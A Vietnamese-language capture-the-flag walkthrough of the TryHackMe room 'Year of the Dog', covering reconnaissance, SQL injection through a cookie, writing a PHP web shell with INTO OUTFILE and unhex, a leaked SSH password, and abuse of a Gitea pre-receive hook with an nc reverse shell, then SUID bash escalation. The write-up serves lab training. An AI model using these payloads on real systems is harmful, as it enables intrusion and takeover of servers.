Professional Documents
Culture Documents
VŨ HẢI LÂM
--SQL INECTION: SQL injection là một phương pháp tấn công mà kẻ tấn công cố gắng chèn các câu lệnh
SQL độc hại vào các truy vấn SQL được thực thi bởi ứng dụng web. Mục đích của việc này là lợi dụng lỗ
hổng trong cách ứng dụng xử lý và xây dựng câu truy vấn SQL để thực hiện các hành động không được
ủy quyền hoặc đánh cắp dữ liệu từ cơ sở dữ liệu.
--REMOTE CODE EXECUTION: đây là một lỗ hổng bảo mật cho phép hacker có thể thực thi mã nguy hiểm
từ xa .Từ đó chúng có thể tiến hành các hoạt động xâm nhập trái phép , đánh cắp thông tin nhạy cảm ,
hoặc lan truyền mã độc
Link room :
https://tryhackme.com/room/yearofthedog
Đầu tiên chúng ta tiến hành quét địa chỉ ip bằng nmap
Ở đây có 2 port là 22 và 80
Chúng tôi tiếp tục dùng gobuster để quét các thư mục ẩn trong port 80
Chúng ta tìm thấy /assets/ thử truy cập thì ra được trang này . Lục lọi một lúc thì chẳng có gì ở đây . Nó
chỉ chứa một số thông tin như kiểu ảnh , font chữ ,...
Quay trở lại trang chính , chúng tôi thử khai thác thủ công bằng cách viewsource , inspector cũng ko tìm
được cái gì hữu ích , vì thế chúng tôi quyết định sử dụng brupsuit để tìm hiểu sâu hơn 😊
MÃ COOKIE có tham số id , đây là một nơi có thể tiêm sql vào được , nên chúng tôi sẽ thử bằng cách
thêm kí tự ‘ vào cuối .
Vậy là giả thiết có thể tiêm sql vào là đúng . Thử một vài câu truy vấn đơn giản chúng tôi phát hiện
trường hợp sau là đúng .
Chúng tôi tiếp tục thử một vài câu truy vấn nâng cao( thử load một file hệ thống ) thì phát hiện có lỗ
hổng RCE(Remote Code Execution)
NOTE: Ở DƯỚI CÓ PHÁT HIỆN MỘT NGƯỜI DÙNG TÊN LÀ dylan
Điều đó gợi cho chúng tôi ý tưởng sẽ upload một con shell lên đây .
Đầu tiên chúng tôi kiểm tra xem có quyền ghi vào file hay không
' union select 1 , 'I love U' into outfile '/var/www/html/check.php' from webapp.queue#
Vậy là chúng tôi có quyền ghi , thử up lên một đoạn mã thực thi xem sao
‘union select 1,’<?php system($_GET[‘x’])?>’ into outfile ‘/var/www/html/shelly.php’ #
Tuy nhiên mọi việc diễn ra không đơn giản như vậy . Chúng tôi đã bị fail khi upload mã thực thi lên ☹.
Chúng tôi đã nghiên cứu và phát hiện ra một hàm khá hay trong sql là unhex ( hàm này sẽ convert mã
hex thành text) . Ý tưởng lóe lên là chúng tôi sẽ dịch nội dung file shelly.php thành mã hex rồi sử dụng
hàm unhex để covert lại text như ban đầu :D
MÃ HEX: 3C3F7068702073797374656D28245F4745545B2778275D293F3E
Đã thành công , chúng tôi sẽ upload một con shell lên bằng cách thay giá trị biến x = wget http://
Tuy nhiên hiện tại vẫn chưa xem được . Chúng tôi nghĩ cần phải ssh user này mới xem được dữ liệu này .
Việc của chúng ta bây giờ là tìm mật khẩu . Hãy xét file còn lại với lệnh grep -i
Có vẻ như chúng ta đã tìm thấy phiên đăng nhập của người dùng dylan. Mật khẩu là :Labr4d0rs4L1f3
Bây giờ chúng tôi ssh với người dùng dylan . Thật tuyệt vì nó đã thành công hehe.....
Vậy là ta đã tìm được flag user
ĐẦU TIÊN CHÚNG TÔI KIỂM TRA NHỮNG PORT TCP ĐANG NGHE TRÊN MÁY NẠN NHÂN :
Check các địa chỉ này ...
Có vẻ như địa chỉ http://127.0.0.1:3000 đang trỏ đến một web có liên quan đến gitea
Ta sẽ check lại tiến trình trên hệ thống tìm xem có tiến trình nào đang chạy trong docker không ?
Cổng 3000 chỉ có thể truy cập trên máy chủ này mà không thể truy cập từ bên ngoài , nên chúng tôi sẽ
tạo một đường hầm ssh để truy cập nó từ web của thiết bị chúng tôi
ĐÂY là một thiết bị sử dụng Gitea (1.13.0)
Gitea là một hệ thống quản lý mã nguồn mở (source code management system) dựa trên giao
diện web. Nó cung cấp một môi trường tự lưu trữ mã nguồn, quản lý phiên bản, theo dõi vấn đề
(issue tracking), và tích hợp liên kết (integration) cho các dự án phát triển phần mềm.
Chúng tôi đã thử đăng nhập bằng tài khoản dylan nhưng lại gặp phải xác thực 2 yếu tố
Vì thế chúng tôi quyết định tạo một tài khoản mới .
TK: hacker
Mk:123456
Các tệp git kho lưu trữ của tôi được đặt tại /gitea/git/repositories/hacker/abc.git (tên người dùng của tôi
là test và repo có tên là abc)
Tìm kiếm trong thư mục /hook (chứa các file bash) có một tập lệnh pre-receive sẽ tự động chạy khi
chúng tôi đẩy bất cứ thứ gì vào repositories
mkfifo /tmp/f; nc <THM-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Sau đó cho nghe trên máy của chúng tôi đồng thời thử tạo một commit lên repositories mới với dylan
Khởi tạo một kho Git trong thư mục hiện tại bằng lệnh git init.
Thêm tệp README.md vào chỉ mục của Git bằng lệnh git add README.md.
Tạo một commit với thông điệp "first commit" bằng lệnh git commit -m "first commit".
Thêm một remote repository có tên "origin" vào URL "http://localhost:3000/hacker/abc.git" bằng lệnh
git remote add origin http://localhost:3000/hacker/abc.git.
Đẩy nhánh "master" lên remote repository "origin" và thiết lập theo dõi nhánh "master" bằng lệnh git
push -u origin master.
Lúc này máy của chúng tôi đã nghe được và có vẻ như chúng tôi đang ở docker của gitea.
Hiện tại chúng tôi là git và có full quyền chạy tất cả các lệnh vì thế chúng tôi sang root
Chúng tôi thiết lập http.server cho thư mục /bin để tải xuống tập tin bash đồng thời thiết lập quyền
SUID (Cho phép người khác thực thi với quyền root) cho bash
Lúc này ở máy chủ đã xuất hiện tệp bash
Bây giờ chỉ cần chạy tệp bash với flag -p là xong